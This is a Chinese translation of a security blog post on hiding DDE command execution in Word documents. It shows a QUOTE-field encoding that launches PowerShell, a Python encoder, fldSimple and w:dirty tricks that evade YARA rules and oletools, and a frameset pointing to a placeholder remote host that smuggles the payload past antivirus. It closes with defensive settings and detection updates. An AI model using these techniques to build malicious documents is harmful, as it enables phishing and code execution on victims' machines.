查看原文
其他

MSWord-用字段代码混淆

2017-11-10 银雁冰 看雪学院


几周前Saif El-Sherei和我在SensePost的博客上发表了一篇关于DDE和在无需宏的情况下在MSWord中执行命令行的文章。这篇博客得到了比我预期多得多的关注。现在DDE已经被用在钓鱼邮件和恶意软件传播活动中,同时也被合法的红队采用。随着使用DDE进行的攻击的快速增长,对其的检测也开始加强,大多数杀毒引擎已经有内建对DDE的基本检测。大多数这类检测基于Yara规则,通过在.docx和.doc文档中查找DDE或DDEAUTO字段实现。这让我开始思考是否能在文档外混淆DDE。目前已经有一两种这类尝试出现,威胁者已经改变DDE字符串的样式,并且将其分解到多行中,如这篇文章描述: Macroless DOC malware that avoids detection with Yara rule

 

在这篇博客中,我将分享我在混淆和绕过检测方面的尝试。希望这可以同时帮助攻击者和防御者。

  1. 混淆载荷

  2. 隐藏DDE/DDEAUTO

  3. 防御提示





混淆载荷



在深入探究混淆DDE和DDEAUTO字段代码的方法之前,我决定先关注混淆载荷。这样做的原因是双重的。首先,载荷是一段简单的字符串,而不是一段保留的字段代码,这意味着混淆不太可能打破其功能性。再者,我们在载荷混淆上有更多的空间,尝试去隐藏3个字符(DDE)比混淆255个字符有挑战性多了。

 

看着我们正在处理的字段代码,它感觉就像一个能发现一些更多混淆的好地方。对“list field codes word”的快速搜索指引我们到了这篇微软的支持文章,这篇文章包含一系列受支持的字段代码,这对于我们是有帮助的。在花了一些时间浏览这些不同的字段后,其中一个因其可能有帮助而引起了我的注意。这就是QUOTE字段,它有被描述为“Quote与插入指定的文本到一个文档” 的功能。这听起来让我们鼓舞,因为我们正在查找能操作载荷字符串的方法,而QUOTE字段允许操作一个字符串并且将其插入到一个文档。

 

作为一个旁注,记住这个字段代码可以被嵌入word是重要的,下面提供了一个使用QUETO字段的例子:


{ QUOTE { IF { DATE \@ "M" } = 1 "12" "{= { DATE \@ "M" } -1 }/1/03" \@ "MMMM"} }


这里我们嵌入了字段代码,QUOTE字段包含内部的IF字段代码的结果,它反过来包含DATE或格式化的时间,基于一个公式(=)。

 

QUOTE字段可以被用来提供一个字符原始值,它会自动转换这个值到对应的字符(很不幸我没有在发现关于这个的引用)。作为一个例子,如果我们想要去找出65这个值对应的字符,我们可以在Word里面使用下面的字段:
{ QUOTE 65 }

 

这最终会展示A而不是65,这正是我们在寻找的。我们现在可以将载荷表示为整数并且在DDE执行前让word将它们自动转换为字符。让这些起作用的整个系列的字段代码将会是:


{SET c "{QUOTE 65 65 65 65}"}

{SET d "{QUOTE 71 71 71 71}"}

{DDE {REF c} {REF d}}


这会有效地转换为:


{DDE "AAAA" "GGGG"}


现在你可以发挥你的想象,并知道我们将会用相应的载荷替换AAAA和GGGG。为了让这变得更简单,我写了一个快速的Python脚本来简单地将一个给定的字符串转化为相应的QUOTE字段。


#!/usr/env/python

 

print("Converts a string to the {QUOTE} Field code")

st = raw_input("String to convert: ")

v = map(lambda y: "%s"%ord(y),st)

print("{ QUOTE %s }"%' '.join(v))


为了弹出powershell,我们现在可以使用下面的字段代码:


{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}

{DDE {REF C}  "a"}





脏链接



需要指出的一件事是DDEAUTO会在文档打开时自动更新,正如它的名字所示。然而,并不是所有字段都会自动更新,除非我们在文档打开时点击“更新链接”。为了做到这点(或许有比我更好的方式),我们需要去将我们的链接标记为“脏的”或将文档设置为自动更新链接。

 

一旦你创建了你的.docx文档,你可以用压缩软件打开这个文件,而且你需要修改document.xml。为了标记链接为肮的并且要求更新,需要在每个<w:fldChar>开始的地方增加


w:dirty="true"。

<w:fldChar w:fldCharType="begin" w:dirty="true"/>


保存document.xml并且更新这个压缩文件。现在你打开.docx,所有链接将会被自动更新。你也会接收到更为干净的“你是否想要自动更新”对话框。

 





结果



最大的问题是,除了使用QUOTE外,我们达到了任何目的吗?看起来是的。这个简单启动powershell的样本(我认为word打开powershell是恶意软件的一个指标)在VirusTotal上只有1/59的检出率。


 

通常你能够简单地将.docx文件存储为.doc并得到相同的代码执行。不幸的是,在这里你使用这种方法会在尝试打开.doc文件的时候收到“错误!没有指定的应用程序”,这是因为嵌入的字段代码并不能正确地自动更新。可能有一种强制更新所有字段代码的方法,但是我的Word知识有限,所以并不能找到一个这样的方法。





隐藏DDE



下一个挑战是尝试去从现有检测中隐藏,这包括YARA规则和对DDE链接的抽取。


YARA规则


大多数我见过的YARA规则尝试检测.docx文档(我关注.docx是因为它容易被修改)中instrText元素里面的DDE和DDEAUTO其中之一或两者。其中最早的一条YARA规则是被Nvsi Labs发布的并且包含以下正则:


/<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/


这在第一批恶意文档中工作得很好,但是随后就被分解为多行的变种所绕过。我(在多行的样本出现前)发现了另一个关于这个正则的问题,并将其报告给了Didier Stevens。当查看Office Open XML文件格式规范时,你会发现fldchar字段是“复合字段”类型,并且可以有一个额外属性。增加这个可选属性后既绕过了上面的YARA规则,也允许我们去使用DDE而不是DDEAUTO。这个属性叫做dirty,这个值如果被设置为布尔值的true,就会强制一次更新,正如在格式文档里描述的“特别的,这个值被一个应用程序标记以指明它的当前结果已经不再正确”那样。

 

这是和我上面在QUOTE字段里面使用以强制更新值的同一个属性。为了将其加入文档,简单地和之前那样并且手动修改.docx即可。


<w:r>

   <w:fldChar w:fldCharType="begin" w:dirty="true"/>

</w:r>


正则马上就失效了,因为它不能匹配到这个可选属性。我向Didier提交了下列更新,这可以同时匹配到有可选属性的情况和XML可以包含任意空格的事实。


<w:fldChar\s+?w:fldCharType="begin"\s+?(w:dirty="(true|false)")?\s+?\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>

Oletools - msodde.py


decalage2的python-oletools工具是一个我之前从未尝试过的相当有趣的项目。它在从所有DDE“攻击”的变种抽取DDE载荷方面工作得非常好。如果我们使用它来抽取我们的QUOTE版本,抽取出的DDE链接是清晰的,而且我们仍然可以知道DDE是存在的。


 

这需要稍微多一点的工作,但是你可以很容易地解码这些QUOTE值到可被执行的字符串。我们该如何绕过它呢?

 

回到Office Open XML文件格式规范(我喜爱规范),我们得知存在另一个我们可以使用来引用字段代码的元素。从上面使用到现在的是都是fldchar的“Complex Field”字段,然而,还有一个“简单字段”的版本叫做:fldSimple。fldSimple元素并没有与fldchar相同的<w:instrText>子元素,它事实上将字段作为一个属性包含;w:instr="FIELD CODE"。

 

来自规范文档的例子如下:

<w:fldSimple w:instr="AUTHOR" w:fldLock="true">

    <w:r>

        <w:t>Rex Jaeschke</w:t>

    </w:r>

</w:fldSimple>


这给了我们能自动执行的DDE,并且绕过了Oletools:

 

我向oletools推送了更新去检测嵌入在fldSimple元素里面的DDE链接。

 

这在对抗杀毒引擎方面也相当不错

 

记住基于行为的杀毒引擎应当能检测到这种类型的载荷执行,所以这些结果应该被视为“绕过静态扫描。”





副作用



当使用fldSimple时会带来一些副作用。如果你决定去使用DDEAUTO并且包含w:dirty="true",在想要执行DDE应用程序之前,终端用户会被提示3次(不清楚为什么会有3次而不是2次)。这确实因为这你有3次他们点击“是”的机会而不是像通常一样。

 

有趣的是当使用fldSimple和c:\\windows\\system32\\cmd.exe /k powershell启动powershell时,powershell将会在cmd窗口内被执行,而不是直接启动powershell控制台。这和你从已存在的cmd实例中启动powershell是一样的行为。并且你会收到一则“不能加载PSReadLine模块”的消息。控制台运行时没有PSReadline”(截图)。也许有人会对深入研究这一点有兴趣?





没有DDE



现在,最后的胜利将会是在文档中完全没有DDE或DDEAUTO,这可能吗?这是肯定的,而且有甜化社会工程方面的额外好处。MSWord会足够友好去询问用户关闭保护模式以查看文档内容。

 

为了这一点,我们可以滥用另一个遗留特性(难道这些还不够好吗)。在某个时间点Word变成了一个任何相关文本的一站式商店,这包括创建网页。Word在某个点上是一个HTML的IDE,HTML从来不漂亮但是它能工作。大约在这个时间点被引入的事物是frames和framesets。Frames允许你去加载不同的HTML/Text页面到word的内部frames,HTML会自动解析和转换成Word格式的内容。这个功能似乎在Word 2016的用户界面中已被移除(也许更早),但是下层的处理例程还在。这意味这你可以创建一个嵌入frames的文档,Word将会仍然为你解析。

 

为了插入一个frameset,你需要回去编辑一个新的.docx文档。首先解压,然后打开webSetting.xml。然后你需要去添加新的XML元素frameset:

<w:frameset>

    <w:framesetSplitbar>

        <w:w w:val="60"/>

        <w:color w:val="auto"/>

        <w:noBorder/>

    </w:framesetSplitbar>

    <w:frameset>

        <w:frame>

            <w:name w:val="1"/>

            <w:sourceFileName r:id="rId1"/>

            <w:linkedToFile/>

        </w:frame>

    </w:frameset>

</w:frameset>


这应当进入已存在的<w:webSettings>元素,就在<w:optimizeForBrowser/><w:allowPNG/>元素前面。接下来你将需要在rId1中增加对我们文档链接到外部文档的链接。这通过增加一个叫webSettings.xml.rels的新文件到word/_rels/来实现。

 

这个文档的内容应当如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships

    xmlns="http://schemas.openxmlformats.org/package/2006/relationships">

    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://x.x.x.x/simple.docx" TargetMode="External"/>

</Relationships>


当你的目标是包含DDE的.docx文档时。在这个例子里我们将要去从位于x.x.x.x的http服务器去加载样本.docx文件。保存所有修改/创建的文件,并且更新.docx压缩文件。现在你可以发送到修改过的文档到你的目标,他们将会打开它。因为它有mark of the web标记,所以会在保护模式下打开。然而,因为Word检测到文件需要外部内容以正确显示,内容会被显示为“链接文档和另外功能已被禁止。要还原这个功能,你必须去编辑该文档”——注意这是来自Word的默认提示,我们无法控制这个。

 

只要保护模式被禁止,Word就会下载包含我们DDE的外部文档。这将不会收到“mark of the web”标记并且被Word解析。触发正常的DDE消息。这是一个在避免被杀毒软件扫描到的情况下偷渡我们的DDE载荷的相当有用的方式。





防御



最好的防御似乎就是禁止自动更新链接,这种方法并不依赖杀毒软件。更改你的office设置去忽略链接和保护自动更新这些的操作步骤被Will Dormannn - @wdormann创建,并且在这里可以访问到:https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b。

 

我超想尝试的另一个机制是在Windows 10秋季创意者更新版本里面引入的Defender Exploit Guard:https://docs.microsoft.com/en-us/windows/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard 。这个机制的美妙之处在于你可以防止Word/Excel/Powerpoint派生子进程。这应该不仅能停止这类攻击,而且也能停止DDE和内嵌的OLE。需要记住的是,Matt Nelson - @enima0x3已经证明Outlook和Access都没有被注册到ASR。

 

如上面提到的,我对oletools的项目中有一次更新的提交请求,而且大多在wordDDE或者DDEAUTO存在时能触发的YARA规则仍能起作用。如果你正在寻找像powershell这样的字符串的话,你有必要更新一下你的逻辑了 ;)


本文由看雪翻译小组 银雁冰 编译,来源staaldraad@Jordan Bowman

转载请注明来自看雪社区


热门推荐 | 看雪学院



更多精彩文章请访问看雪论坛




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存